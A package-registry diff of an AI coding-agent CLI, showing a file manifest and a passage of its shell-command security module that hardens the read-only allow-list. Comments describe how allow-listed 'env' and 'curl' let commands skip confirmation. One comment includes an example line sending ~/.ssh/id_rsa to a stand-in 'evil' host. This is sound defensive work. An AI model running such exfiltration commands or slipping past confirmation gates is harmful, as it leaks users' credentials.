@orion-agents/orion-code 0.1.3 → 0.1.4-2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +26 -4
- package/README.zh-CN.md +41 -5
- package/dist/agents/coder.d.ts.map +1 -1
- package/dist/agents/coder.js.map +1 -1
- package/dist/agents/fork.d.ts +12 -4
- package/dist/agents/fork.d.ts.map +1 -1
- package/dist/agents/fork.js +28 -32
- package/dist/agents/fork.js.map +1 -1
- package/dist/agents/leader.d.ts.map +1 -1
- package/dist/agents/leader.js.map +1 -1
- package/dist/agents/worker-pool.d.ts.map +1 -1
- package/dist/agents/worker-pool.js +38 -29
- package/dist/agents/worker-pool.js.map +1 -1
- package/dist/cli.d.ts +1 -1
- package/dist/cli.d.ts.map +1 -1
- package/dist/cli.js +0 -1
- package/dist/cli.js.map +1 -1
- package/dist/commands/context-commands.d.ts +4 -0
- package/dist/commands/context-commands.d.ts.map +1 -0
- package/dist/commands/context-commands.js +52 -0
- package/dist/commands/context-commands.js.map +1 -0
- package/dist/commands/context-tool-command-handlers.d.ts +13 -0
- package/dist/commands/context-tool-command-handlers.d.ts.map +1 -0
- package/dist/commands/context-tool-command-handlers.js +573 -0
- package/dist/commands/context-tool-command-handlers.js.map +1 -0
- package/dist/commands/core-command-handlers.d.ts +12 -0
- package/dist/commands/core-command-handlers.d.ts.map +1 -0
- package/dist/commands/core-command-handlers.js +798 -0
- package/dist/commands/core-command-handlers.js.map +1 -0
- package/dist/commands/diagnostic-command-handlers.d.ts +14 -0
- package/dist/commands/diagnostic-command-handlers.d.ts.map +1 -0
- package/dist/commands/diagnostic-command-handlers.js +1043 -0
- package/dist/commands/diagnostic-command-handlers.js.map +1 -0
- package/dist/commands/diagnostic-commands.d.ts +4 -0
- package/dist/commands/diagnostic-commands.d.ts.map +1 -0
- package/dist/commands/diagnostic-commands.js +132 -0
- package/dist/commands/diagnostic-commands.js.map +1 -0
- package/dist/commands/index.d.ts +7 -8
- package/dist/commands/index.d.ts.map +1 -1
- package/dist/commands/index.js +34 -3562
- package/dist/commands/index.js.map +1 -1
- package/dist/commands/legacy-commands.d.ts +4 -0
- package/dist/commands/legacy-commands.d.ts.map +1 -0
- package/dist/commands/legacy-commands.js +44 -0
- package/dist/commands/legacy-commands.js.map +1 -0
- package/dist/commands/model-command-handlers.d.ts +13 -0
- package/dist/commands/model-command-handlers.d.ts.map +1 -0
- package/dist/commands/model-command-handlers.js +314 -0
- package/dist/commands/model-command-handlers.js.map +1 -0
- package/dist/commands/model-commands.d.ts +4 -0
- package/dist/commands/model-commands.d.ts.map +1 -0
- package/dist/commands/model-commands.js +52 -0
- package/dist/commands/model-commands.js.map +1 -0
- package/dist/commands/session-command-handlers.d.ts +9 -0
- package/dist/commands/session-command-handlers.d.ts.map +1 -0
- package/dist/commands/session-command-handlers.js +566 -0
- package/dist/commands/session-command-handlers.js.map +1 -0
- package/dist/commands/session-commands.d.ts +4 -0
- package/dist/commands/session-commands.d.ts.map +1 -0
- package/dist/commands/session-commands.js +78 -0
- package/dist/commands/session-commands.js.map +1 -0
- package/dist/commands/system-commands.d.ts +4 -0
- package/dist/commands/system-commands.d.ts.map +1 -0
- package/dist/commands/system-commands.js +92 -0
- package/dist/commands/system-commands.js.map +1 -0
- package/dist/commands/target-command.d.ts.map +1 -1
- package/dist/commands/target-command.js +29 -2
- package/dist/commands/target-command.js.map +1 -1
- package/dist/commands/tool-commands.d.ts +4 -0
- package/dist/commands/tool-commands.d.ts.map +1 -0
- package/dist/commands/tool-commands.js +49 -0
- package/dist/commands/tool-commands.js.map +1 -0
- package/dist/commands/types.d.ts +4 -4
- package/dist/commands/workflow-command-handlers.d.ts +7 -0
- package/dist/commands/workflow-command-handlers.d.ts.map +1 -0
- package/dist/commands/workflow-command-handlers.js +35 -0
- package/dist/commands/workflow-command-handlers.js.map +1 -0
- package/dist/commands/workflow-commands.d.ts +4 -0
- package/dist/commands/workflow-commands.d.ts.map +1 -0
- package/dist/commands/workflow-commands.js +92 -0
- package/dist/commands/workflow-commands.js.map +1 -0
- package/dist/core/checkpoint.d.ts +12 -4
- package/dist/core/checkpoint.d.ts.map +1 -1
- package/dist/core/checkpoint.js +114 -28
- package/dist/core/checkpoint.js.map +1 -1
- package/dist/core/cost-tracker.d.ts +5 -1
- package/dist/core/cost-tracker.d.ts.map +1 -1
- package/dist/core/cost-tracker.js +12 -2
- package/dist/core/cost-tracker.js.map +1 -1
- package/dist/core/warn-dedup.d.ts +3 -0
- package/dist/core/warn-dedup.d.ts.map +1 -1
- package/dist/core/warn-dedup.js +6 -6
- package/dist/core/warn-dedup.js.map +1 -1
- package/dist/framework/index.d.ts +1 -1
- package/dist/framework/index.d.ts.map +1 -1
- package/dist/framework/index.js.map +1 -1
- package/dist/framework/prompt.d.ts +2 -2
- package/dist/framework/query.d.ts +2 -2
- package/dist/framework/query.d.ts.map +1 -1
- package/dist/framework/query.js +57 -10
- package/dist/framework/query.js.map +1 -1
- package/dist/framework/store.d.ts +4 -4
- package/dist/framework/tool-scheduler.d.ts +16 -13
- package/dist/framework/tool-scheduler.d.ts.map +1 -1
- package/dist/framework/tool-scheduler.js +135 -32
- package/dist/framework/tool-scheduler.js.map +1 -1
- package/dist/framework/tool.d.ts +30 -2
- package/dist/framework/tool.d.ts.map +1 -1
- package/dist/framework/tool.js +27 -1
- package/dist/framework/tool.js.map +1 -1
- package/dist/harness/assembler.d.ts.map +1 -1
- package/dist/harness/assembler.js +4 -2
- package/dist/harness/assembler.js.map +1 -1
- package/dist/harness/evidence.d.ts.map +1 -1
- package/dist/harness/evidence.js +3 -2
- package/dist/harness/evidence.js.map +1 -1
- package/dist/harness/safety.d.ts +11 -1
- package/dist/harness/safety.d.ts.map +1 -1
- package/dist/harness/safety.js +112 -16
- package/dist/harness/safety.js.map +1 -1
- package/dist/index.d.ts +1 -4
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js.map +1 -1
- package/dist/init.d.ts +4 -8
- package/dist/init.d.ts.map +1 -1
- package/dist/init.js +4 -4
- package/dist/init.js.map +1 -1
- package/dist/ink-ui/App.d.ts +2 -2
- package/dist/ink-ui/components/Markdown.d.ts.map +1 -1
- package/dist/ink-ui/components/Markdown.js.map +1 -1
- package/dist/ink-ui/components/PixelHorseBanner.d.ts +2 -2
- package/dist/ink-ui/components/StatusLine.d.ts +2 -2
- package/dist/ink-ui/launch.d.ts +2 -2
- package/dist/ink-ui/screens/ReplScreen.d.ts +2 -2
- package/dist/ink-ui/screens/ReplScreen.js.map +1 -1
- package/dist/memory/embeddings.d.ts.map +1 -1
- package/dist/memory/embeddings.js +3 -2
- package/dist/memory/embeddings.js.map +1 -1
- package/dist/memory/relevant-finder.d.ts +2 -1
- package/dist/memory/relevant-finder.d.ts.map +1 -1
- package/dist/memory/relevant-finder.js +17 -8
- package/dist/memory/relevant-finder.js.map +1 -1
- package/dist/memory/semantic-config.d.ts +9 -0
- package/dist/memory/semantic-config.d.ts.map +1 -0
- package/dist/memory/semantic-config.js +16 -0
- package/dist/memory/semantic-config.js.map +1 -0
- package/dist/memory/semantic-search.d.ts +1 -6
- package/dist/memory/semantic-search.d.ts.map +1 -1
- package/dist/memory/semantic-search.js +5 -16
- package/dist/memory/semantic-search.js.map +1 -1
- package/dist/memory/storage.d.ts +23 -0
- package/dist/memory/storage.d.ts.map +1 -1
- package/dist/memory/storage.js +109 -8
- package/dist/memory/storage.js.map +1 -1
- package/dist/memory/vector-store.d.ts +12 -0
- package/dist/memory/vector-store.d.ts.map +1 -1
- package/dist/memory/vector-store.js +139 -18
- package/dist/memory/vector-store.js.map +1 -1
- package/dist/migration/command.d.ts.map +1 -1
- package/dist/migration/command.js +0 -1
- package/dist/migration/command.js.map +1 -1
- package/dist/migration/migrate.d.ts.map +1 -1
- package/dist/migration/migrate.js +43 -109
- package/dist/migration/migrate.js.map +1 -1
- package/dist/migration/types.d.ts +0 -1
- package/dist/migration/types.d.ts.map +1 -1
- package/dist/print-ui/launch.d.ts +10 -3
- package/dist/print-ui/launch.d.ts.map +1 -1
- package/dist/print-ui/launch.js +18 -0
- package/dist/print-ui/launch.js.map +1 -1
- package/dist/product/environment.d.ts +3 -5
- package/dist/product/environment.d.ts.map +1 -1
- package/dist/product/environment.js +4 -32
- package/dist/product/environment.js.map +1 -1
- package/dist/product/index.d.ts +1 -1
- package/dist/product/index.d.ts.map +1 -1
- package/dist/product/index.js +1 -3
- package/dist/product/index.js.map +1 -1
- package/dist/product/paths.d.ts.map +1 -1
- package/dist/product/paths.js +12 -0
- package/dist/product/paths.js.map +1 -1
- package/dist/runtime/agent-runtime-controller.d.ts +2 -2
- package/dist/runtime/agent-runtime-protocol.d.ts +4 -1
- package/dist/runtime/agent-runtime-protocol.d.ts.map +1 -1
- package/dist/runtime/agent-runtime-protocol.js +6 -0
- package/dist/runtime/agent-runtime-protocol.js.map +1 -1
- package/dist/runtime/chat-checkpoint.d.ts +17 -0
- package/dist/runtime/chat-checkpoint.d.ts.map +1 -0
- package/dist/runtime/chat-checkpoint.js +108 -0
- package/dist/runtime/chat-checkpoint.js.map +1 -0
- package/dist/runtime/chat-controller.d.ts +10 -46
- package/dist/runtime/chat-controller.d.ts.map +1 -1
- package/dist/runtime/chat-controller.js +199 -1051
- package/dist/runtime/chat-controller.js.map +1 -1
- package/dist/runtime/chat-presentation.d.ts +60 -0
- package/dist/runtime/chat-presentation.d.ts.map +1 -0
- package/dist/runtime/chat-presentation.js +537 -0
- package/dist/runtime/chat-presentation.js.map +1 -0
- package/dist/runtime/chat-trace.d.ts +52 -0
- package/dist/runtime/chat-trace.d.ts.map +1 -0
- package/dist/runtime/chat-trace.js +234 -0
- package/dist/runtime/chat-trace.js.map +1 -0
- package/dist/runtime/chat-workspace.d.ts +22 -0
- package/dist/runtime/chat-workspace.d.ts.map +1 -0
- package/dist/runtime/chat-workspace.js +154 -0
- package/dist/runtime/chat-workspace.js.map +1 -0
- package/dist/runtime/goals/accounting.js +1 -1
- package/dist/runtime/goals/accounting.js.map +1 -1
- package/dist/runtime/goals/completion-audit.d.ts.map +1 -1
- package/dist/runtime/goals/completion-audit.js +5 -4
- package/dist/runtime/goals/completion-audit.js.map +1 -1
- package/dist/runtime/goals/coordinator.d.ts +3 -0
- package/dist/runtime/goals/coordinator.d.ts.map +1 -1
- package/dist/runtime/goals/coordinator.js +30 -2
- package/dist/runtime/goals/coordinator.js.map +1 -1
- package/dist/runtime/goals/prompt.d.ts +1 -1
- package/dist/runtime/goals/prompt.d.ts.map +1 -1
- package/dist/runtime/goals/prompt.js +3 -2
- package/dist/runtime/goals/prompt.js.map +1 -1
- package/dist/runtime/goals/tools.d.ts +21 -8
- package/dist/runtime/goals/tools.d.ts.map +1 -1
- package/dist/runtime/goals/tools.js +141 -10
- package/dist/runtime/goals/tools.js.map +1 -1
- package/dist/runtime/loop-budget.d.ts +2 -2
- package/dist/runtime/model-coordinator.d.ts.map +1 -1
- package/dist/runtime/model-coordinator.js.map +1 -1
- package/dist/runtime/subagents/child-executor-guard.d.ts.map +1 -1
- package/dist/runtime/subagents/child-executor-guard.js +4 -0
- package/dist/runtime/subagents/child-executor-guard.js.map +1 -1
- package/dist/runtime/subagents/index.d.ts +10 -3
- package/dist/runtime/subagents/index.d.ts.map +1 -1
- package/dist/runtime/subagents/index.js +25 -1
- package/dist/runtime/subagents/index.js.map +1 -1
- package/dist/runtime/subagents/policy.d.ts +1 -1
- package/dist/runtime/subagents/policy.d.ts.map +1 -1
- package/dist/runtime/subagents/policy.js.map +1 -1
- package/dist/runtime/subagents/presets.d.ts +2 -2
- package/dist/runtime/subagents/provider-gate.d.ts.map +1 -1
- package/dist/runtime/subagents/provider-gate.js +0 -1
- package/dist/runtime/subagents/provider-gate.js.map +1 -1
- package/dist/runtime/subagents/research-artifact.d.ts +101 -0
- package/dist/runtime/subagents/research-artifact.d.ts.map +1 -0
- package/dist/runtime/subagents/research-artifact.js +210 -0
- package/dist/runtime/subagents/research-artifact.js.map +1 -0
- package/dist/runtime/subagents/research-citation.d.ts +66 -0
- package/dist/runtime/subagents/research-citation.d.ts.map +1 -0
- package/dist/runtime/subagents/research-citation.js +185 -0
- package/dist/runtime/subagents/research-citation.js.map +1 -0
- package/dist/runtime/subagents/research-contract.d.ts +83 -0
- package/dist/runtime/subagents/research-contract.d.ts.map +1 -0
- package/dist/runtime/subagents/research-contract.js +337 -0
- package/dist/runtime/subagents/research-contract.js.map +1 -0
- package/dist/runtime/subagents/research-quality.d.ts +47 -0
- package/dist/runtime/subagents/research-quality.d.ts.map +1 -0
- package/dist/runtime/subagents/research-quality.js +125 -0
- package/dist/runtime/subagents/research-quality.js.map +1 -0
- package/dist/runtime/subagents/research-renderer.d.ts +95 -0
- package/dist/runtime/subagents/research-renderer.d.ts.map +1 -0
- package/dist/runtime/subagents/research-renderer.js +186 -0
- package/dist/runtime/subagents/research-renderer.js.map +1 -0
- package/dist/runtime/subagents/research-types.d.ts +105 -0
- package/dist/runtime/subagents/research-types.d.ts.map +1 -0
- package/dist/runtime/subagents/research-types.js +16 -0
- package/dist/runtime/subagents/research-types.js.map +1 -0
- package/dist/runtime/subagents/result-parser.d.ts +1 -5
- package/dist/runtime/subagents/result-parser.d.ts.map +1 -1
- package/dist/runtime/subagents/result-parser.js +5 -72
- package/dist/runtime/subagents/result-parser.js.map +1 -1
- package/dist/runtime/subagents/runtime-integration.d.ts +13 -7
- package/dist/runtime/subagents/runtime-integration.d.ts.map +1 -1
- package/dist/runtime/subagents/runtime-integration.js +112 -2
- package/dist/runtime/subagents/runtime-integration.js.map +1 -1
- package/dist/runtime/subagents/supervisor.d.ts +15 -1
- package/dist/runtime/subagents/supervisor.d.ts.map +1 -1
- package/dist/runtime/subagents/supervisor.js +58 -3
- package/dist/runtime/subagents/supervisor.js.map +1 -1
- package/dist/runtime/subagents/tool.d.ts +2 -2
- package/dist/runtime/subagents/tool.d.ts.map +1 -1
- package/dist/runtime/subagents/tool.js +129 -9
- package/dist/runtime/subagents/tool.js.map +1 -1
- package/dist/runtime/subagents/types.d.ts +20 -0
- package/dist/runtime/subagents/types.d.ts.map +1 -1
- package/dist/runtime/subagents/types.js.map +1 -1
- package/dist/runtime/subagents/web-research-adapter.d.ts +85 -0
- package/dist/runtime/subagents/web-research-adapter.d.ts.map +1 -0
- package/dist/runtime/subagents/web-research-adapter.js +328 -0
- package/dist/runtime/subagents/web-research-adapter.js.map +1 -0
- package/dist/runtime/ui-events.d.ts +8 -8
- package/dist/runtime/ui-events.d.ts.map +1 -1
- package/dist/runtime/ui-events.js.map +1 -1
- package/dist/runtime/ui-view-model.d.ts +40 -0
- package/dist/runtime/ui-view-model.d.ts.map +1 -1
- package/dist/runtime/ui-view-model.js +126 -0
- package/dist/runtime/ui-view-model.js.map +1 -1
- package/dist/services/agent-runner.d.ts +5 -2
- package/dist/services/agent-runner.d.ts.map +1 -1
- package/dist/services/agent-runner.js +18 -18
- package/dist/services/agent-runner.js.map +1 -1
- package/dist/services/atomic-write.d.ts +9 -1
- package/dist/services/atomic-write.d.ts.map +1 -1
- package/dist/services/atomic-write.js +55 -2
- package/dist/services/atomic-write.js.map +1 -1
- package/dist/services/auth/auth.d.ts +11 -7
- package/dist/services/auth/auth.d.ts.map +1 -1
- package/dist/services/auth/auth.js +133 -34
- package/dist/services/auth/auth.js.map +1 -1
- package/dist/services/auth/aws.d.ts +2 -0
- package/dist/services/auth/aws.d.ts.map +1 -1
- package/dist/services/auth/aws.js +126 -12
- package/dist/services/auth/aws.js.map +1 -1
- package/dist/services/auth/index.d.ts +1 -1
- package/dist/services/auth/index.d.ts.map +1 -1
- package/dist/services/auth/index.js +2 -1
- package/dist/services/auth/index.js.map +1 -1
- package/dist/services/auto-fix/autoFixConfig.d.ts +0 -3
- package/dist/services/auto-fix/autoFixConfig.d.ts.map +1 -1
- package/dist/services/auto-fix/autoFixConfig.js +25 -8
- package/dist/services/auto-fix/autoFixConfig.js.map +1 -1
- package/dist/services/auto-fix/autoFixHook.d.ts +7 -0
- package/dist/services/auto-fix/autoFixHook.d.ts.map +1 -1
- package/dist/services/auto-fix/autoFixHook.js +10 -1
- package/dist/services/auto-fix/autoFixHook.js.map +1 -1
- package/dist/services/compact/auto-compact.d.ts +2 -0
- package/dist/services/compact/auto-compact.d.ts.map +1 -1
- package/dist/services/compact/auto-compact.js +15 -1
- package/dist/services/compact/auto-compact.js.map +1 -1
- package/dist/services/compact/compact.d.ts.map +1 -1
- package/dist/services/compact/compact.js +9 -11
- package/dist/services/compact/compact.js.map +1 -1
- package/dist/services/compact/summary-generator.d.ts.map +1 -1
- package/dist/services/compact/summary-generator.js +28 -4
- package/dist/services/compact/summary-generator.js.map +1 -1
- package/dist/services/compact/tool-call-groups.d.ts +19 -0
- package/dist/services/compact/tool-call-groups.d.ts.map +1 -0
- package/dist/services/compact/tool-call-groups.js +105 -0
- package/dist/services/compact/tool-call-groups.js.map +1 -0
- package/dist/services/concurrent-sessions.d.ts +4 -0
- package/dist/services/concurrent-sessions.d.ts.map +1 -1
- package/dist/services/concurrent-sessions.js +76 -21
- package/dist/services/concurrent-sessions.js.map +1 -1
- package/dist/services/config-dir.d.ts.map +1 -1
- package/dist/services/config-dir.js +19 -5
- package/dist/services/config-dir.js.map +1 -1
- package/dist/services/config.d.ts +6 -4
- package/dist/services/config.d.ts.map +1 -1
- package/dist/services/config.js +14 -71
- package/dist/services/config.js.map +1 -1
- package/dist/services/doctor.d.ts +2 -2
- package/dist/services/doctor.js.map +1 -1
- package/dist/services/file-glob.d.ts.map +1 -1
- package/dist/services/file-glob.js +22 -2
- package/dist/services/file-glob.js.map +1 -1
- package/dist/services/file-lock.d.ts +7 -0
- package/dist/services/file-lock.d.ts.map +1 -0
- package/dist/services/file-lock.js +139 -0
- package/dist/services/file-lock.js.map +1 -0
- package/dist/services/global-config.d.ts +2 -0
- package/dist/services/global-config.d.ts.map +1 -1
- package/dist/services/global-config.js +67 -4
- package/dist/services/global-config.js.map +1 -1
- package/dist/services/goal-storage.d.ts.map +1 -1
- package/dist/services/goal-storage.js +52 -19
- package/dist/services/goal-storage.js.map +1 -1
- package/dist/services/llm.d.ts +12 -0
- package/dist/services/llm.d.ts.map +1 -1
- package/dist/services/llm.js +166 -69
- package/dist/services/llm.js.map +1 -1
- package/dist/services/mcp/transports.d.ts +0 -1
- package/dist/services/mcp/transports.d.ts.map +1 -1
- package/dist/services/mcp/transports.js +12 -13
- package/dist/services/mcp/transports.js.map +1 -1
- package/dist/services/model-context.d.ts +8 -0
- package/dist/services/model-context.d.ts.map +1 -1
- package/dist/services/model-context.js +111 -7
- package/dist/services/model-context.js.map +1 -1
- package/dist/services/provider-resilience/coordinator.d.ts +9 -4
- package/dist/services/provider-resilience/coordinator.d.ts.map +1 -1
- package/dist/services/provider-resilience/coordinator.js +88 -21
- package/dist/services/provider-resilience/coordinator.js.map +1 -1
- package/dist/services/provider-resilience/error-classifier.d.ts +1 -0
- package/dist/services/provider-resilience/error-classifier.d.ts.map +1 -1
- package/dist/services/provider-resilience/error-classifier.js +50 -29
- package/dist/services/provider-resilience/error-classifier.js.map +1 -1
- package/dist/services/provider-resilience/index.d.ts +3 -3
- package/dist/services/provider-resilience/index.d.ts.map +1 -1
- package/dist/services/provider-resilience/index.js +3 -1
- package/dist/services/provider-resilience/index.js.map +1 -1
- package/dist/services/provider-resilience/request-gate.d.ts +6 -0
- package/dist/services/provider-resilience/request-gate.d.ts.map +1 -1
- package/dist/services/provider-resilience/request-gate.js +24 -9
- package/dist/services/provider-resilience/request-gate.js.map +1 -1
- package/dist/services/provider-resilience/stream-recovery.d.ts +1 -1
- package/dist/services/provider-resilience/stream-recovery.d.ts.map +1 -1
- package/dist/services/provider-resilience/stream-recovery.js +1 -1
- package/dist/services/provider-resilience/stream-recovery.js.map +1 -1
- package/dist/services/provider-resilience/types.d.ts +9 -0
- package/dist/services/provider-resilience/types.d.ts.map +1 -1
- package/dist/services/provider-resilience/types.js.map +1 -1
- package/dist/services/redaction.d.ts.map +1 -1
- package/dist/services/redaction.js +29 -1
- package/dist/services/redaction.js.map +1 -1
- package/dist/services/session-index.d.ts.map +1 -1
- package/dist/services/session-index.js +75 -44
- package/dist/services/session-index.js.map +1 -1
- package/dist/services/session-memory/sessionMemory.d.ts.map +1 -1
- package/dist/services/session-memory/sessionMemory.js +6 -3
- package/dist/services/session-memory/sessionMemory.js.map +1 -1
- package/dist/services/session-storage.d.ts +8 -0
- package/dist/services/session-storage.d.ts.map +1 -1
- package/dist/services/session-storage.js +105 -27
- package/dist/services/session-storage.js.map +1 -1
- package/dist/services/storage-maintenance.d.ts.map +1 -1
- package/dist/services/storage-maintenance.js +62 -9
- package/dist/services/storage-maintenance.js.map +1 -1
- package/dist/services/task-manager.d.ts +9 -4
- package/dist/services/task-manager.d.ts.map +1 -1
- package/dist/services/task-manager.js +18 -4
- package/dist/services/task-manager.js.map +1 -1
- package/dist/services/usage-state.d.ts +1 -0
- package/dist/services/usage-state.d.ts.map +1 -1
- package/dist/services/usage-state.js +81 -45
- package/dist/services/usage-state.js.map +1 -1
- package/dist/services/verification-profile.d.ts.map +1 -1
- package/dist/services/verification-profile.js +23 -3
- package/dist/services/verification-profile.js.map +1 -1
- package/dist/services/web-search-adapters.d.ts.map +1 -1
- package/dist/services/web-search-adapters.js +48 -18
- package/dist/services/web-search-adapters.js.map +1 -1
- package/dist/services/web-search-mcp.d.ts.map +1 -1
- package/dist/services/web-search-mcp.js +27 -11
- package/dist/services/web-search-mcp.js.map +1 -1
- package/dist/services/workspace-diff.d.ts +14 -0
- package/dist/services/workspace-diff.d.ts.map +1 -1
- package/dist/services/workspace-diff.js +60 -11
- package/dist/services/workspace-diff.js.map +1 -1
- package/dist/services/yaml-config.d.ts.map +1 -1
- package/dist/services/yaml-config.js +2 -1
- package/dist/services/yaml-config.js.map +1 -1
- package/dist/skills/loader.d.ts.map +1 -1
- package/dist/skills/loader.js +26 -11
- package/dist/skills/loader.js.map +1 -1
- package/dist/skills/runtime.d.ts +3 -3
- package/dist/skills/runtime.d.ts.map +1 -1
- package/dist/skills/runtime.js +37 -4
- package/dist/skills/runtime.js.map +1 -1
- package/dist/skills/types.d.ts +1 -1
- package/dist/skills/types.d.ts.map +1 -1
- package/dist/terminal-ui/launch.d.ts +16 -8
- package/dist/terminal-ui/launch.d.ts.map +1 -1
- package/dist/terminal-ui/launch.js +26 -0
- package/dist/terminal-ui/launch.js.map +1 -1
- package/dist/terminal-ui/raw-editor.js.map +1 -1
- package/dist/tools/bash_security.d.ts +58 -18
- package/dist/tools/bash_security.d.ts.map +1 -1
- package/dist/tools/bash_security.js +587 -80
- package/dist/tools/bash_security.js.map +1 -1
- package/dist/tools/git.d.ts +8 -8
- package/dist/tools/git.d.ts.map +1 -1
- package/dist/tools/git.js +248 -55
- package/dist/tools/git.js.map +1 -1
- package/dist/tools/index.d.ts +14 -4
- package/dist/tools/index.d.ts.map +1 -1
- package/dist/tools/index.js +236 -42
- package/dist/tools/index.js.map +1 -1
- package/dist/tools/lsp.d.ts +74 -6
- package/dist/tools/lsp.d.ts.map +1 -1
- package/dist/tools/lsp.js +24 -5
- package/dist/tools/lsp.js.map +1 -1
- package/dist/tools/mcp.d.ts +19 -6
- package/dist/tools/mcp.d.ts.map +1 -1
- package/dist/tools/mcp.js +143 -26
- package/dist/tools/mcp.js.map +1 -1
- package/dist/tools/plan.d.ts +4 -4
- package/dist/tools/sandbox.d.ts +3 -1
- package/dist/tools/sandbox.d.ts.map +1 -1
- package/dist/tools/sandbox.js +28 -13
- package/dist/tools/sandbox.js.map +1 -1
- package/dist/tools/todo.d.ts +3 -3
- package/dist/tools/web.d.ts +15 -4
- package/dist/tools/web.d.ts.map +1 -1
- package/dist/tools/web.js +240 -26
- package/dist/tools/web.js.map +1 -1
- package/dist/tui-core/frame.js.map +1 -1
- package/dist/tui-ui/launch.d.ts +3 -3
- package/dist/tui-ui/layout.d.ts.map +1 -1
- package/dist/tui-ui/layout.js +2 -0
- package/dist/tui-ui/layout.js.map +1 -1
- package/dist/tui-ui/runner.d.ts.map +1 -1
- package/dist/tui-ui/runner.js +1 -0
- package/dist/tui-ui/runner.js.map +1 -1
- package/dist/tui-ui/state.d.ts +9 -1
- package/dist/tui-ui/state.d.ts.map +1 -1
- package/dist/tui-ui/state.js +13 -0
- package/dist/tui-ui/state.js.map +1 -1
- package/dist/ui/markdown.js.map +1 -1
- package/dist/utils/debug-log.d.ts +52 -0
- package/dist/utils/debug-log.d.ts.map +1 -0
- package/dist/utils/debug-log.js +94 -0
- package/dist/utils/debug-log.js.map +1 -0
- package/dist/utils/errors.d.ts +25 -0
- package/dist/utils/errors.d.ts.map +1 -0
- package/dist/utils/errors.js +47 -0
- package/dist/utils/errors.js.map +1 -0
- package/dist/utils/json.d.ts +6 -0
- package/dist/utils/json.d.ts.map +1 -0
- package/dist/utils/json.js +66 -0
- package/dist/utils/json.js.map +1 -0
- package/dist/utils/mask.d.ts +8 -1
- package/dist/utils/mask.d.ts.map +1 -1
- package/dist/utils/mask.js +10 -12
- package/dist/utils/mask.js.map +1 -1
- package/dist/utils/observability.d.ts +22 -0
- package/dist/utils/observability.d.ts.map +1 -0
- package/dist/utils/observability.js +80 -0
- package/dist/utils/observability.js.map +1 -0
- package/dist/utils/token-estimate.d.ts +8 -0
- package/dist/utils/token-estimate.d.ts.map +1 -1
- package/dist/utils/token-estimate.js +30 -17
- package/dist/utils/token-estimate.js.map +1 -1
- package/package.json +8 -7
|
@@ -5,13 +5,14 @@
|
|
|
5
5
|
* Provides safety checks and sandbox options for command execution.
|
|
6
6
|
*/
|
|
7
7
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
8
|
-
exports.
|
|
8
|
+
exports.POTENTIALLY_DESTRUCTIVE_PATTERNS = exports.DANGEROUS_PATTERNS = exports.VALIDATION_COMMAND_PATTERNS = exports.READ_ONLY_SUBCOMMANDS = exports.READ_ONLY_COMMANDS = void 0;
|
|
9
|
+
exports.scanShellCommand = scanShellCommand;
|
|
9
10
|
exports.isReadOnlyCommand = isReadOnlyCommand;
|
|
10
11
|
exports.isValidationCommand = isValidationCommand;
|
|
12
|
+
exports.findDestructiveRmTarget = findDestructiveRmTarget;
|
|
11
13
|
exports.checkDangerousCommand = checkDangerousCommand;
|
|
12
14
|
exports.isPotentiallyDestructive = isPotentiallyDestructive;
|
|
13
15
|
exports.assessCommandSecurity = assessCommandSecurity;
|
|
14
|
-
exports.wrapForSandbox = wrapForSandbox;
|
|
15
16
|
/**
|
|
16
17
|
* Commands that are considered read-only and safe to execute without confirmation.
|
|
17
18
|
* These commands only read data and do not modify the filesystem.
|
|
@@ -85,7 +86,11 @@ exports.READ_ONLY_COMMANDS = [
|
|
|
85
86
|
// System info
|
|
86
87
|
'echo',
|
|
87
88
|
'printenv',
|
|
88
|
-
|
|
89
|
+
// NOTE: `env` is deliberately absent. It is a command wrapper
|
|
90
|
+
// (`env [NAME=VALUE]... COMMAND [ARG]...`), not a read-only command, so
|
|
91
|
+
// allow-listing it classified `env node -e '<anything>'` as safe and ran it
|
|
92
|
+
// without confirmation. A bare `env` (no wrapped command) still resolves to
|
|
93
|
+
// read-only through unwrapCommandWrappers().
|
|
89
94
|
'whoami',
|
|
90
95
|
'hostname',
|
|
91
96
|
'date',
|
|
@@ -96,13 +101,14 @@ exports.READ_ONLY_COMMANDS = [
|
|
|
96
101
|
'id',
|
|
97
102
|
'groups',
|
|
98
103
|
'getent',
|
|
99
|
-
// Network info (read-only)
|
|
104
|
+
// Network *info* (read-only, no remote response / no exfiltration primitive).
|
|
105
|
+
// NOTE: `curl`/`wget`/`nslookup`/`dig`/`host` are deliberately absent. Even
|
|
106
|
+
// "read-only" invocations reach an attacker-controlled endpoint and return
|
|
107
|
+
// its response into the model context, and `curl`/`wget` can exfiltrate
|
|
108
|
+
// local secrets (`curl https://evil/?d=$(cat ~/.ssh/id_rsa)`) or hit the
|
|
109
|
+
// cloud metadata endpoint (SSRF). They are treated as caution and require
|
|
110
|
+
// confirmation. See issue #64.
|
|
100
111
|
'ping',
|
|
101
|
-
'curl', // when without file output
|
|
102
|
-
'wget', // when without file output
|
|
103
|
-
'nslookup',
|
|
104
|
-
'dig',
|
|
105
|
-
'host',
|
|
106
112
|
'ip',
|
|
107
113
|
'ifconfig',
|
|
108
114
|
'netstat',
|
|
@@ -112,16 +118,11 @@ exports.READ_ONLY_COMMANDS = [
|
|
|
112
118
|
'htop',
|
|
113
119
|
'lsof',
|
|
114
120
|
'pgrep',
|
|
115
|
-
//
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
'pip',
|
|
121
|
-
'pip3',
|
|
122
|
-
'cargo',
|
|
123
|
-
'top',
|
|
124
|
-
'htop',
|
|
121
|
+
// Job control
|
|
122
|
+
// NOTE: the package-manager drivers (npm/npx/yarn/pnpm/pip/cargo) are
|
|
123
|
+
// deliberately NOT listed here. Whether they read or execute depends entirely
|
|
124
|
+
// on the sub-command, so they are allow-listed per sub-command in
|
|
125
|
+
// READ_ONLY_SUBCOMMANDS instead.
|
|
125
126
|
'jobs',
|
|
126
127
|
// JSON/YAML processing (read-only when no file write)
|
|
127
128
|
'jq',
|
|
@@ -136,24 +137,77 @@ exports.READ_ONLY_COMMANDS = [
|
|
|
136
137
|
'--version',
|
|
137
138
|
'-V',
|
|
138
139
|
];
|
|
140
|
+
/**
|
|
141
|
+
* Sub-commands that only read state, keyed by the driver that runs them.
|
|
142
|
+
*
|
|
143
|
+
